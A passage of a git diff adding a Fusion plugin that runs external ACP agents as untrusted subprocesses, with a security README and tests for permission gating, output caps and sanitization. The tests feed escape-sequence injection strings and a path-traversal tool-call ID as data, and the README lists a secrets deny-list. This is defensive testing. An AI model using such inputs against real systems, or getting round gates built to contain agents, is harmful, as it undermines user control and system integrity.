+ expect(manifest.runtime?.runtimeId).toBe("acp");
+ expect(existsSync(join(stagedRoot, "bundled.js"))).toBe(true);
+ // v1 ships no mcp-schema-server.cjs (MCP forwarding deferred, KTD5).
+ expect(existsSync(join(stagedRoot, "mcp-schema-server.cjs"))).toBe(false);
+ });
+
it("pi-claude-cli source imports child process helpers from node:child_process", () => {
const processManagerSource = readFileSync(join(cliRoot, "dist", "pi-claude-cli", "src", "process-manager.ts"), "utf-8");
diff --git a/packages/cli/src/commands/plugin.ts b/packages/cli/src/commands/plugin.ts
index fa0d53e9b0..730f509112 100644
--- a/packages/cli/src/commands/plugin.ts
+++ b/packages/cli/src/commands/plugin.ts
@@ -57,6 +57,14 @@ export const BUILTIN_PLUGINS: BuiltinPluginCatalogEntry[] = [
path: "./plugins/fusion-plugin-droid-runtime",
experimental: true,
},
+ {
+ id: "fusion-plugin-acp-runtime",
+ name: "ACP Runtime",
+ description: "Runtime provider that drives any external Agent Client Protocol agent over JSON-RPC/stdio.",
+ category: "runtime",
+ path: "./plugins/fusion-plugin-acp-runtime",
+ experimental: true,
+ },
{
id: "fusion-plugin-dependency-graph",
name: "Dependency Graph",
diff --git a/packages/cli/tsup.config.ts b/packages/cli/tsup.config.ts
index 817e063ade..581c768372 100644
--- a/packages/cli/tsup.config.ts
+++ b/packages/cli/tsup.config.ts
@@ -14,6 +14,7 @@ const RUNTIME_PLUGIN_IDS = [
"fusion-plugin-paperclip-runtime",
"fusion-plugin-cursor-runtime",
"fusion-plugin-droid-runtime",
+ "fusion-plugin-acp-runtime",
] as const;
const RUNTIME_PLUGINS_WITH_MCP_SCHEMA_SERVER = new Set([
diff --git a/plugins/fusion-plugin-acp-runtime/README.md b/plugins/fusion-plugin-acp-runtime/README.md
new file mode 100644
index 0000000000..aab2331b72
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/README.md
@@ -0,0 +1,66 @@
+# @fusion-plugin-examples/acp-runtime
+
+A Fusion runtime plugin that drives **any** external [Agent Client Protocol
+(ACP)](https://agentclientprotocol.com) agent over JSON-RPC/stdio. One
+integration unlocks every ACP-compatible agent (Gemini CLI, the Claude Code ACP
+adapter, and any future agent that speaks the protocol) through the standard
+protocol instead of a bespoke per-CLI integration.
+
+Selected via `runtimeId: "acp"`. Installed on demand (`experimental`) — see the
+Fusion plugin catalog (`fn plugin install fusion-plugin-acp-runtime`).
+
+## Security posture
+
+The ACP agent is an **untrusted subprocess** that calls back into Fusion for
+permissions and filesystem access. This plugin enforces a defense-in-depth floor:
+
+- **Per-category permission gating.** Each `session/request_permission` is
+ classified by tool kind into a Fusion action category and checked against the
+ live permission policy — never a preset shortcut. `allow_once` only (never a
+ persisted blanket grant). Unmappable kinds and missing policy default-deny.
+- **Unrestricted-risk acknowledgement (`acpAllowUnrestricted`).** Because the
+ shipped default policy is `unrestricted` (allow-all), a blanket `allow` on a
+ *sensitive* category is escalated to approval unless the user explicitly sets
+ `acpAllowUnrestricted: true`. Prefer running the ACP runtime under an
+ `approval-required` policy.
+- **Filesystem jail.** `fs/read_text_file` / `fs/write_text_file` are opt-in
+ (`acpFsRead` / `acpFsWrite`, writes default OFF), confined to the session
+ `cwd` by a real symlink-resolving jail (realpath + `O_NOFOLLOW`), with a
+ deny-list for secrets (`.env`, `*.pem`, …) and git internals (`.git/**`).
+ Writes are gated through the `file_write_delete` permission category.
+- **Untrusted-input bounds.** Streamed output is sanitized (ANSI/control strip)
+ and bounded (per-turn + per-chunk caps; bounded tool-call correlation map).
+- **Subprocess isolation.** The agent env is built from an allow-list
+ (`acpEnvAllowList`) — inherited `process.env` is **not** forwarded.
+
+Not sandboxed in v1: the agent's own process/network syscalls run with Fusion's
+user privileges (OS-level sandboxing is recommended future work).
+
+## Settings
+
+| Key | Default | Meaning |
+| --- | --- | --- |
+| `acpBinaryPath` | `acp-agent` | Agent binary to spawn |
+| `acpArgs` | `[]` | Args that launch the agent in ACP/stdio mode (e.g. `["--acp"]`) |
+| `acpModel` | — | Optional model identifier reported via `describeModel` |
+| `acpFsRead` | `false` | Advertise/register `fs/read_text_file` |
+| `acpFsWrite` | `false` | Advertise/register `fs/write_text_file` (gated) |
+| `acpEnvAllowList` | `[]` | Env var names forwarded to the agent subprocess |
+| `acpAllowUnrestricted` | `false` | Acknowledge the untrusted-agent risk under an allow-all policy |
+
+## Upstream / third-party integration evidence
+
+Per `AGENTS.md` (External-integration evidence):
+
+- **Protocol homepage / docs:** https://agentclientprotocol.com
+- **Upstream protocol repo:** https://github.com/agentclientprotocol/agent-client-protocol
+- **TypeScript SDK repo:** https://github.com/agentclientprotocol/typescript-sdk
+- **Dependency (npm):** `@agentclientprotocol/sdk` — https://www.npmjs.com/package/@agentclientprotocol/sdk
+- **Pinned release:** `0.24.0` (Apache-2.0)
+- **Tarball:** https://registry.npmjs.org/@agentclientprotocol/sdk/-/sdk-0.24.0.tgz
+- **Integrity (sha512):** `sha512-vvu9appvGvfYstBj19C6NCepV6SvUhY5VRv60KUZ4XzhTah/olOYul5Zo4C+x2enyshMSvgB2mm/OEmrsHaSmA==`
+- **Agent binaries driven:** user-supplied ACP agents (e.g. `gemini --acp`, the
+ `@agentclientprotocol/claude-agent-acp` adapter). These are configured by the
+ user at runtime, not bundled — `upstream-pending-verification` per agent.
+
+See `docs/acp-contract.md` for the launch/readiness contract and failure taxonomy.
diff --git a/plugins/fusion-plugin-acp-runtime/manifest.json b/plugins/fusion-plugin-acp-runtime/manifest.json
new file mode 100644
index 0000000000..b7a01d6c27
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/manifest.json
@@ -0,0 +1,13 @@
+{
+ "id": "fusion-plugin-acp-runtime",
+ "name": "ACP Runtime Plugin",
+ "version": "0.1.0",
+ "description": "Drives any external Agent Client Protocol (ACP) agent for Fusion",
+ "author": "Fusion Team",
+ "runtime": {
+ "runtimeId": "acp",
+ "name": "ACP Runtime",
+ "description": "Drives any external ACP-compatible agent over JSON-RPC/stdio",
+ "version": "0.1.0"
+ }
+}
diff --git a/plugins/fusion-plugin-acp-runtime/package.json b/plugins/fusion-plugin-acp-runtime/package.json
new file mode 100644
index 0000000000..73e53beb74
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/package.json
@@ -0,0 +1,41 @@
+{
+ "name": "@fusion-plugin-examples/acp-runtime",
+ "version": "0.1.0",
+ "type": "module",
+ "description": "ACP (Agent Client Protocol) runtime plugin for Fusion — drives any ACP-compatible agent over JSON-RPC/stdio",
+ "keywords": [
+ "fusion-plugin",
+ "acp",
+ "agent-client-protocol",
+ "runtime"
+ ],
+ "exports": {
+ ".": {
+ "types": "./src/index.ts",
+ "import": "./src/index.ts"
+ },
+ "./probe": {
+ "types": "./src/probe.ts",
+ "import": "./src/probe.ts"
+ }
+ },
+ "private": true,
+ "scripts": {
+ "build": "tsc",
+ "test": "vitest run --silent=passed-only --reporter=dot",
+ "typecheck": "tsc --noEmit"
+ },
+ "dependencies": {
+ "@agentclientprotocol/sdk": "0.24.0",
+ "@fusion/plugin-sdk": "workspace:*"
+ },
+ "peerDependencies": {
+ "@earendil-works/pi-ai": "*",
+ "@earendil-works/pi-coding-agent": "*"
+ },
+ "devDependencies": {
+ "@types/node": "^25.5.2",
+ "typescript": "^5.7.0",
+ "vitest": "^3.2.4"
+ }
+}
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/control-handler.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/control-handler.test.ts
new file mode 100644
index 0000000000..ec848fbeba
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/control-handler.test.ts
@@ -0,0 +1,315 @@
+// U5 security-floor tests for the PURE permission resolver.
+//
+// Each `it` is a security assertion. Do NOT weaken these to go green — if one
+// fails, the implementation is wrong, not the test.
+
+import { describe, it, expect, vi } from "vitest";
+import type {
+ PermissionOption,
+ RequestPermissionResponse,
+ ToolCallUpdate,
+ ToolKind,
+} from "@agentclientprotocol/sdk";
+import {
+ classifyToolKind,
+ selectOption,
+ resolvePermission,
+ DENY,
+} from "../control-handler.js";
+import type { GateDisposition, PermissionGate } from "../types.js";
+
+// A full option set the agent might offer (includes the dangerous *_always).
+const ALL_OPTIONS: PermissionOption[] = [
+ { optionId: "allow_once_id", name: "Allow once", kind: "allow_once" },
+ { optionId: "allow_always_id", name: "Allow always", kind: "allow_always" },
+ { optionId: "reject_once_id", name: "Reject once", kind: "reject_once" },
+ { optionId: "reject_always_id", name: "Reject always", kind: "reject_always" },
+];
+
+function toolCall(kind: ToolKind | null | undefined, extra: Partial = {}): ToolCallUpdate {
+ return { toolCallId: "tc-1", kind, ...extra } as ToolCallUpdate;
+}
+
+function gateWithRules(rules: Record, extra: Partial = {}): PermissionGate {
+ return { permissionPolicy: { rules }, ...extra };
+}
+
+/** The shipped `unrestricted` default: every category → allow. */
+const UNRESTRICTED: Record = {
+ git_write: "allow",
+ file_write_delete: "allow",
+ command_execution: "allow",
+ network_api: "allow",
+ task_agent_mutation: "allow",
+};
+
+function selectedId(res: RequestPermissionResponse): string | undefined {
+ return res.outcome.outcome === "selected" ? res.outcome.optionId : undefined;
+}
+
+describe("classifyToolKind", () => {
+ it("maps execute → command_execution", () => {
+ expect(classifyToolKind("execute")).toBe("command_execution");
+ });
+ it("maps edit/delete/move → file_write_delete", () => {
+ expect(classifyToolKind("edit")).toBe("file_write_delete");
+ expect(classifyToolKind("delete")).toBe("file_write_delete");
+ expect(classifyToolKind("move")).toBe("file_write_delete");
+ });
+ it("maps fetch → network_api", () => {
+ expect(classifyToolKind("fetch")).toBe("network_api");
+ });
+ it("maps read/search/think/switch_mode → exempt", () => {
+ expect(classifyToolKind("read")).toBe("exempt");
+ expect(classifyToolKind("search")).toBe("exempt");
+ expect(classifyToolKind("think")).toBe("exempt");
+ expect(classifyToolKind("switch_mode")).toBe("exempt");
+ });
+ it("maps other/undefined/null/unknown → DENY sentinel", () => {
+ expect(classifyToolKind("other")).toBe(DENY);
+ expect(classifyToolKind(undefined)).toBe(DENY);
+ expect(classifyToolKind(null)).toBe(DENY);
+ expect(classifyToolKind("totally_made_up" as ToolKind)).toBe(DENY);
+ });
+});
+
+describe("selectOption — allow_once ONLY (S2)", () => {
+ it("allow selects allow_once, never allow_always", () => {
+ const sel = selectOption("allow", ALL_OPTIONS);
+ expect(sel).toEqual({ decision: "allow", optionId: "allow_once_id" });
+ });
+ it("allow with NO allow_once falls back to reject (never allow_always)", () => {
+ const noAllowOnce = ALL_OPTIONS.filter((o) => o.kind !== "allow_once");
+ const sel = selectOption("allow", noAllowOnce);
+ expect(sel.decision).toBe("deny");
+ expect(sel.optionId).not.toBe("allow_always_id");
+ expect(sel.optionId).toBe("reject_once_id");
+ });
+ it("deny selects reject_once, never reject_always", () => {
+ const sel = selectOption("deny", ALL_OPTIONS);
+ expect(sel).toEqual({ decision: "deny", optionId: "reject_once_id" });
+ });
+ it("deny with no reject_once leaves optionId undefined (→ cancelled)", () => {
+ const onlyAllow: PermissionOption[] = [
+ { optionId: "allow_once_id", name: "Allow once", kind: "allow_once" },
+ { optionId: "allow_always_id", name: "Allow always", kind: "allow_always" },
+ ];
+ const sel = selectOption("deny", onlyAllow);
+ expect(sel.decision).toBe("deny");
+ expect(sel.optionId).toBeUndefined();
+ });
+});
+
+describe("resolvePermission — the security floor", () => {
+ // [Risk S1] per-category honored, NOT preset-allowed.
+ it("blocks an execute call when command_execution is custom-blocked even under an otherwise-unrestricted policy", async () => {
+ const gate = gateWithRules({ ...UNRESTRICTED, command_execution: "block" });
+ const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
+ expect(res.outcome.outcome).toBe("selected");
+ expect(selectedId(res)).toBe("reject_once_id");
+ });
+
+ // [Risk S2] allow → allow_once, allow_always NEVER selected.
+ // (acknowledged: with allowUnrestricted the S1 escalation is off, so the allow
+ // disposition reaches option selection — the point of this test.)
+ it("selects allow_once for an allow category and never allow_always even when offered", async () => {
+ const gate = gateWithRules({ ...UNRESTRICTED, command_execution: "allow" });
+ const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate, {
+ allowUnrestricted: true,
+ });
+ expect(selectedId(res)).toBe("allow_once_id");
+ expect(selectedId(res)).not.toBe("allow_always_id");
+ });
+
+ // [Risk S1] WITHOUT acknowledgement, a blanket allow on a sensitive category
+ // is escalated to approval — and default-denies when no approver exists.
+ it("escalates a sensitive allow to deny under the unrestricted default (no acknowledgement, no approver)", async () => {
+ const gate = gateWithRules(UNRESTRICTED); // command_execution: "allow"
+ const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
+ expect(selectedId(res)).toBe("reject_once_id");
+ });
+ it("auto-allows a sensitive call only when the unrestricted risk is acknowledged", async () => {
+ const gate = gateWithRules(UNRESTRICTED);
+ const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate, {
+ allowUnrestricted: true,
+ });
+ expect(selectedId(res)).toBe("allow_once_id");
+ });
+ it("never escalates an exempt (read-only) kind regardless of acknowledgement", async () => {
+ const gate = gateWithRules(UNRESTRICTED);
+ const res = await resolvePermission(toolCall("read"), ALL_OPTIONS, gate);
+ expect(selectedId(res)).toBe("allow_once_id");
+ });
+
+ it("exempt kinds (read) always allow via allow_once", async () => {
+ // Even with a block-everything policy, a read-only kind is exempt → allow.
+ const gate = gateWithRules({
+ git_write: "block",
+ file_write_delete: "block",
+ command_execution: "block",
+ network_api: "block",
+ task_agent_mutation: "block",
+ });
+ const res = await resolvePermission(toolCall("read"), ALL_OPTIONS, gate);
+ expect(selectedId(res)).toBe("allow_once_id");
+ });
+
+ // [KTD3a] missing / other / unknown kind → denied even under unrestricted.
+ it("denies a missing kind even under the unrestricted default", async () => {
+ const gate = gateWithRules(UNRESTRICTED);
+ const res = await resolvePermission(toolCall(undefined), ALL_OPTIONS, gate);
+ expect(selectedId(res)).toBe("reject_once_id");
+ });
+ it("denies an `other` kind even under the unrestricted default", async () => {
+ const gate = gateWithRules(UNRESTRICTED);
+ const res = await resolvePermission(toolCall("other"), ALL_OPTIONS, gate);
+ expect(selectedId(res)).toBe("reject_once_id");
+ });
+
+ // No gate / no policy → default-deny.
+ it("default-denies when no gate is supplied", async () => {
+ const res = await resolvePermission(toolCall("read"), ALL_OPTIONS, undefined);
+ expect(selectedId(res)).toBe("reject_once_id");
+ });
+ it("default-denies when permissionPolicy is absent", async () => {
+ const res = await resolvePermission(toolCall("read"), ALL_OPTIONS, {} as PermissionGate);
+ expect(selectedId(res)).toBe("reject_once_id");
+ });
+
+ // Options missing the expected *_once kind → safe fallback, never *_always, no throw.
+ it("falls back to cancelled (never allow_always) when an allow category offers no allow_once", async () => {
+ const gate = gateWithRules({ ...UNRESTRICTED, command_execution: "allow" });
+ const noAllowOnce: PermissionOption[] = [
+ { optionId: "allow_always_id", name: "Allow always", kind: "allow_always" },
+ { optionId: "reject_always_id", name: "Reject always", kind: "reject_always" },
+ ];
+ const res = await resolvePermission(toolCall("execute"), noAllowOnce, gate, {
+ allowUnrestricted: true,
+ });
+ // No reject_once either → cancelled, and definitely not allow_always.
+ expect(res.outcome.outcome).toBe("cancelled");
+ expect(selectedId(res)).toBeUndefined();
+ });
+
+ describe("require-approval HITL", () => {
+ it("creates an approval request, blocks until decision, granted → allow_once", async () => {
+ let resolvePause: (() => void) | undefined;
+ const order: string[] = [];
+ const gate: PermissionGate = gateWithRules(
+ { ...UNRESTRICTED, command_execution: "require-approval" },
+ {
+ createApprovalRequest: vi.fn(async () => {
+ order.push("create");
+ return { id: "appr-1" };
+ }),
+ findApprovalByDedupeKey: vi
+ .fn()
+ // first lookup (reuse check): nothing prior
+ .mockResolvedValueOnce(null)
+ // second lookup (after pause): approved
+ .mockResolvedValueOnce({ id: "appr-1", status: "approved" }),
+ pauseForApproval: vi.fn(
+ () =>
+ new Promise((resolve) => {
+ order.push("pause");
+ resolvePause = () => {
+ order.push("resume");
+ resolve();
+ };
+ }),
+ ),
+ markApprovalCompleted: vi.fn(async () => {
+ order.push("complete");
+ }),
+ },
+ );
+
+ const promise = resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
+
+ // It must be blocked on pauseForApproval — give the microtask queue a tick.
+ await Promise.resolve();
+ await Promise.resolve();
+ expect(order).toEqual(["create", "pause"]);
+
+ resolvePause!();
+ const res = await promise;
+ expect(selectedId(res)).toBe("allow_once_id");
+ expect(gate.createApprovalRequest).toHaveBeenCalledTimes(1);
+ expect(gate.markApprovalCompleted).toHaveBeenCalledWith("appr-1");
+ expect(order).toEqual(["create", "pause", "resume", "complete"]);
+ });
+
+ it("rejected decision → reject_once", async () => {
+ const gate: PermissionGate = gateWithRules(
+ { ...UNRESTRICTED, command_execution: "require-approval" },
+ {
+ createApprovalRequest: vi.fn(async () => ({ id: "appr-2" })),
+ findApprovalByDedupeKey: vi
+ .fn()
+ .mockResolvedValueOnce(null)
+ .mockResolvedValueOnce({ id: "appr-2", status: "denied" }),
+ pauseForApproval: vi.fn(async () => undefined),
+ markApprovalCompleted: vi.fn(async () => undefined),
+ },
+ );
+ const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
+ expect(selectedId(res)).toBe("reject_once_id");
+ });
+
+ it("timeout/error during pause → reject_once (no throw)", async () => {
+ const gate: PermissionGate = gateWithRules(
+ { ...UNRESTRICTED, command_execution: "require-approval" },
+ {
+ createApprovalRequest: vi.fn(async () => ({ id: "appr-3" })),
+ findApprovalByDedupeKey: vi.fn().mockResolvedValueOnce(null),
+ pauseForApproval: vi.fn(async () => {
+ throw new Error("timed out");
+ }),
+ },
+ );
+ const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
+ expect(selectedId(res)).toBe("reject_once_id");
+ });
+
+ it("reuses a prior approved decision via the dedupe key (no new request)", async () => {
+ const createApprovalRequest = vi.fn(async () => ({ id: "appr-x" }));
+ const gate: PermissionGate = gateWithRules(
+ { ...UNRESTRICTED, command_execution: "require-approval" },
+ {
+ createApprovalRequest,
+ findApprovalByDedupeKey: vi.fn(async () => ({ id: "prior", status: "approved" as const })),
+ },
+ );
+ const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
+ expect(selectedId(res)).toBe("allow_once_id");
+ expect(createApprovalRequest).not.toHaveBeenCalled();
+ });
+
+ it("require-approval with NO closures → default-deny, no throw", async () => {
+ const gate = gateWithRules({ ...UNRESTRICTED, command_execution: "require-approval" });
+ const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
+ expect(selectedId(res)).toBe("reject_once_id");
+ });
+
+ it("require-approval with createApprovalRequest but no pauseForApproval → default-deny (no orphaned request)", async () => {
+ const createApprovalRequest = vi.fn(async () => ({ id: "a" }));
+ const gate: PermissionGate = gateWithRules(
+ { ...UNRESTRICTED, command_execution: "require-approval" },
+ { createApprovalRequest },
+ );
+ const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
+ expect(selectedId(res)).toBe("reject_once_id");
+ // Without a way to pause for a decision, no request is committed to the
+ // store — otherwise it would sit perpetually `pending`.
+ expect(createApprovalRequest).not.toHaveBeenCalled();
+ });
+ });
+
+ it("treats a category with no explicit rule as require-approval (not allow)", async () => {
+ // command_execution missing from rules entirely → require-approval → with no
+ // closures that default-denies (never silent allow).
+ const gate = gateWithRules({ git_write: "allow" });
+ const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
+ expect(selectedId(res)).toBe("reject_once_id");
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge-bounds.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge-bounds.test.ts
new file mode 100644
index 0000000000..1c089ebcfa
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge-bounds.test.ts
@@ -0,0 +1,230 @@
+import { describe, it, expect, vi } from "vitest";
+import type { SessionUpdate } from "@agentclientprotocol/sdk";
+import {
+ createEventBridge,
+ PER_TURN_OUTPUT_CAP_CHARS,
+ PER_CHUNK_CAP_CHARS,
+ TOOL_CALL_MAP_CAP,
+} from "../event-bridge.js";
+import type { AcpCallbacks } from "../types.js";
+
+function makeCallbacks() {
+ const onText = vi.fn<(text: string) => void>();
+ const onThinking = vi.fn<(text: string) => void>();
+ const onToolStart = vi.fn<(name: string, args?: unknown) => void>();
+ const onToolEnd = vi.fn<(name: string, isError: boolean, result?: unknown) => void>();
+ const callbacks: AcpCallbacks = { onText, onThinking, onToolStart, onToolEnd };
+ return { callbacks, onText, onThinking, onToolStart, onToolEnd };
+}
+
+function textChunk(text: string): SessionUpdate {
+ return { sessionUpdate: "agent_message_chunk", content: { type: "text", text } } as SessionUpdate;
+}
+
+describe("event bridge bounds: per-turn cumulative cap (Risk S5)", () => {
+ it("stops forwarding text once the per-turn cap is exceeded and flags once", () => {
+ const { callbacks, onText, onThinking } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+
+ // Each chunk is itself within the per-chunk cap; many of them exceed the
+ // per-turn cap. Total forwarded text must stay bounded.
+ const chunk = "x".repeat(PER_CHUNK_CAP_CHARS);
+ const chunksNeeded = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / PER_CHUNK_CAP_CHARS) + 5;
+ for (let i = 0; i < chunksNeeded; i++) {
+ bridge.handleSessionUpdate(textChunk(chunk));
+ }
+
+ const totalForwarded = onText.mock.calls.reduce((sum, c) => sum + c[0].length, 0);
+ // Bounded: never far beyond the cap (one chunk of slack at most).
+ expect(totalForwarded).toBeLessThanOrEqual(PER_TURN_OUTPUT_CAP_CHARS + PER_CHUNK_CAP_CHARS);
+ expect(totalForwarded).toBeGreaterThan(0);
+
+ // Exactly one truncation flag line emitted via onThinking.
+ const flagCalls = onThinking.mock.calls.filter((c) =>
+ String(c[0]).includes("output truncated"),
+ );
+ expect(flagCalls.length).toBe(1);
+ });
+
+ it("reset() clears the per-turn counter so a new turn forwards fresh", () => {
+ const { callbacks, onText, onThinking } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+ const chunk = "y".repeat(PER_CHUNK_CAP_CHARS);
+ const chunksNeeded = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / PER_CHUNK_CAP_CHARS) + 2;
+ for (let i = 0; i < chunksNeeded; i++) bridge.handleSessionUpdate(textChunk(chunk));
+ onText.mockClear();
+ onThinking.mockClear();
+
+ bridge.reset();
+ bridge.handleSessionUpdate(textChunk("after reset"));
+ expect(onText).toHaveBeenCalledWith("after reset");
+ });
+});
+
+describe("event bridge bounds: per-chunk cap (Risk S5)", () => {
+ it("caps an oversized single content chunk", () => {
+ const { callbacks, onText } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+ bridge.handleSessionUpdate(textChunk("z".repeat(PER_CHUNK_CAP_CHARS * 4)));
+ expect(onText).toHaveBeenCalledTimes(1);
+ expect(onText.mock.calls[0][0].length).toBeLessThanOrEqual(PER_CHUNK_CAP_CHARS);
+ });
+});
+
+describe("event bridge sanitization: tool title (Risk S7)", () => {
+ it("strips ANSI/control escapes from a tool title before the callback", () => {
+ const { callbacks, onToolStart } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call",
+ toolCallId: "t1",
+ title: "\x1b[31mRun\x1b[0m\x07 tests\x00",
+ kind: "execute",
+ } as SessionUpdate);
+
+ expect(onToolStart).toHaveBeenCalledTimes(1);
+ const name = onToolStart.mock.calls[0][0];
+ expect(name).toBe("Run tests");
+ expect(name).not.toContain("\x1b");
+ expect(name).not.toContain("\x00");
+ });
+
+ it("strips control escapes from agent text before onText", () => {
+ const { callbacks, onText } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+ bridge.handleSessionUpdate(textChunk("\x1b]0;evil\x07hello\x1b[2J"));
+ expect(onText).toHaveBeenCalledWith("hello");
+ });
+});
+
+describe("event bridge bounds: toolCall correlation map (Risk S5)", () => {
+ it("bounds the map under a flood of unique toolCallIds (evicts oldest)", () => {
+ const { callbacks, onToolStart, onToolEnd } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+
+ const flood = TOOL_CALL_MAP_CAP * 3;
+ for (let i = 0; i < flood; i++) {
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call",
+ toolCallId: `flood-${i}`,
+ title: `T${i}`,
+ kind: "other",
+ } as SessionUpdate);
+ }
+ // Every start fires (callbacks not gated), but memory (map) is bounded.
+ expect(onToolStart).toHaveBeenCalledTimes(flood);
+
+ // A terminal update for an EVICTED early id still resolves (orphan path),
+ // but its `tool_call` metadata is gone, so the title falls back to the
+ // generic "tool" — proving the map did NOT retain the earliest ids.
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call_update",
+ toolCallId: "flood-0",
+ status: "completed",
+ } as SessionUpdate);
+ expect(onToolEnd).toHaveBeenLastCalledWith("tool", false, undefined);
+
+ // The newest ids remain tracked, so their title is carried forward.
+ const newest = flood - 1;
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call_update",
+ toolCallId: `flood-${newest}`,
+ status: "completed",
+ } as SessionUpdate);
+ expect(onToolEnd).toHaveBeenLastCalledWith(`T${newest}`, false, undefined);
+ });
+
+ it("normalizes a path-separator toolCallId used as a map key", () => {
+ const { callbacks, onToolStart, onToolEnd } = makeCallbacks();
+ const bridge = createEventBridge(callbacks);
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call",
+ toolCallId: "../../evil/id",
+ title: "Sneaky",
+ kind: "other",
+ } as SessionUpdate);
+ // The update uses a DIFFERENT raw id (backslashes) that normalizes to the
+ // SAME key as the start's forward-slash id. Raw-key storage would miss the
+ // correlation; only normalization makes start↔end line up — proving the
+ // bridge keys on the normalized form, not the raw string.
+ bridge.handleSessionUpdate({
+ sessionUpdate: "tool_call_update",
+ toolCallId: "..\\..\\evil\\id",
+ status: "completed",
+ } as SessionUpdate);
+ // Same normalized key correlates start↔end exactly once.
+ expect(onToolStart).toHaveBeenCalledTimes(1);
+ expect(onToolEnd).toHaveBeenCalledTimes(1);
+ expect(onToolEnd).toHaveBeenCalledWith("Sneaky", false, undefined);
+ });
+});
+
+describe("plan output bounds (S5)", () => {
+ it("caps plan entry count and charges the per-turn budget", async () => {
+ const { createEventBridge, MAX_PLAN_ENTRIES, PER_TURN_OUTPUT_CAP_CHARS } = await import(
+ "../event-bridge.js"
+ );
+ const thinking: string[] = [];
+ const bridge = createEventBridge({ onThinking: (t) => thinking.push(t) });
+ const entries = Array.from({ length: MAX_PLAN_ENTRIES + 50 }, (_, i) => ({
+ content: `step ${i}`,
+ priority: "low",
+ status: "pending",
+ }));
+ bridge.handleSessionUpdate({ sessionUpdate: "plan", entries } as never);
+ expect(thinking).toHaveLength(1);
+ // Truncation marker present; not all entries formatted.
+ expect(thinking[0]).toContain("50 more entries truncated");
+ expect(thinking[0].length).toBeLessThan(PER_TURN_OUTPUT_CAP_CHARS);
+ });
+
+ it("suppresses plan output once the per-turn cap has flagged", async () => {
+ const { createEventBridge, PER_CHUNK_CAP_CHARS, PER_TURN_OUTPUT_CAP_CHARS } = await import(
+ "../event-bridge.js"
+ );
+ const thinking: string[] = [];
+ const bridge = createEventBridge({ onThinking: (t) => thinking.push(t) });
+ // Flood text until the per-turn cap flags.
+ const chunk = "x".repeat(PER_CHUNK_CAP_CHARS);
+ const chunksNeeded = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / PER_CHUNK_CAP_CHARS) + 2;
+ for (let i = 0; i < chunksNeeded; i += 1) {
+ bridge.handleSessionUpdate({
+ sessionUpdate: "agent_thought_chunk",
+ content: { type: "text", text: chunk },
+ } as never);
+ }
+ const before = thinking.length;
+ bridge.handleSessionUpdate({
+ sessionUpdate: "plan",
+ entries: [{ content: "late plan", priority: "low", status: "pending" }],
+ } as never);
+ // No plan line after the cap flagged.
+ expect(thinking.length).toBe(before);
+ });
+});
+
+ it("a plan-ONLY stream stops emitting once the per-turn cap is crossed", async () => {
+ const { createEventBridge, PER_CHUNK_CAP_CHARS, PER_TURN_OUTPUT_CAP_CHARS, MAX_PLAN_ENTRIES } =
+ await import("../event-bridge.js");
+ const thinking: string[] = [];
+ const bridge = createEventBridge({ onThinking: (t) => thinking.push(t) });
+ // Each plan line is bounded by PER_CHUNK_CAP_CHARS; flood plan events only.
+ const bigEntry = "p".repeat(PER_CHUNK_CAP_CHARS);
+ const entries = Array.from({ length: MAX_PLAN_ENTRIES }, () => ({
+ content: bigEntry,
+ priority: "low",
+ status: "pending",
+ }));
+ const floods = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / PER_CHUNK_CAP_CHARS) + 3;
+ for (let i = 0; i < floods; i += 1) {
+ bridge.handleSessionUpdate({ sessionUpdate: "plan", entries } as never);
+ }
+ // The flag line is emitted exactly once, then nothing further.
+ const flagged = thinking.filter((t) => t.includes("output truncated"));
+ expect(flagged).toHaveLength(1);
+ const after = thinking.length;
+ bridge.handleSessionUpdate({ sessionUpdate: "plan", entries } as never);
+ expect(thinking.length).toBe(after);
+ // And the total emitted is bounded near the cap, not floods * cap.
+ expect(thinking.length).toBeLessThan(floods);
+ });
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge.test.ts
new file mode 100644
index 0000000000..95a460912f
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge.test.ts
@@ -0,0 +1,332 @@
+import { describe, it, expect, vi } from "vitest";
+import type { SessionUpdate } from "@agentclientprotocol/sdk";
+import { createEventBridge, PER_TURN_OUTPUT_CAP_CHARS } from "../event-bridge.js";
+import type { AcpCallbacks } from "../types.js";
+
+function makeCallbacks() {
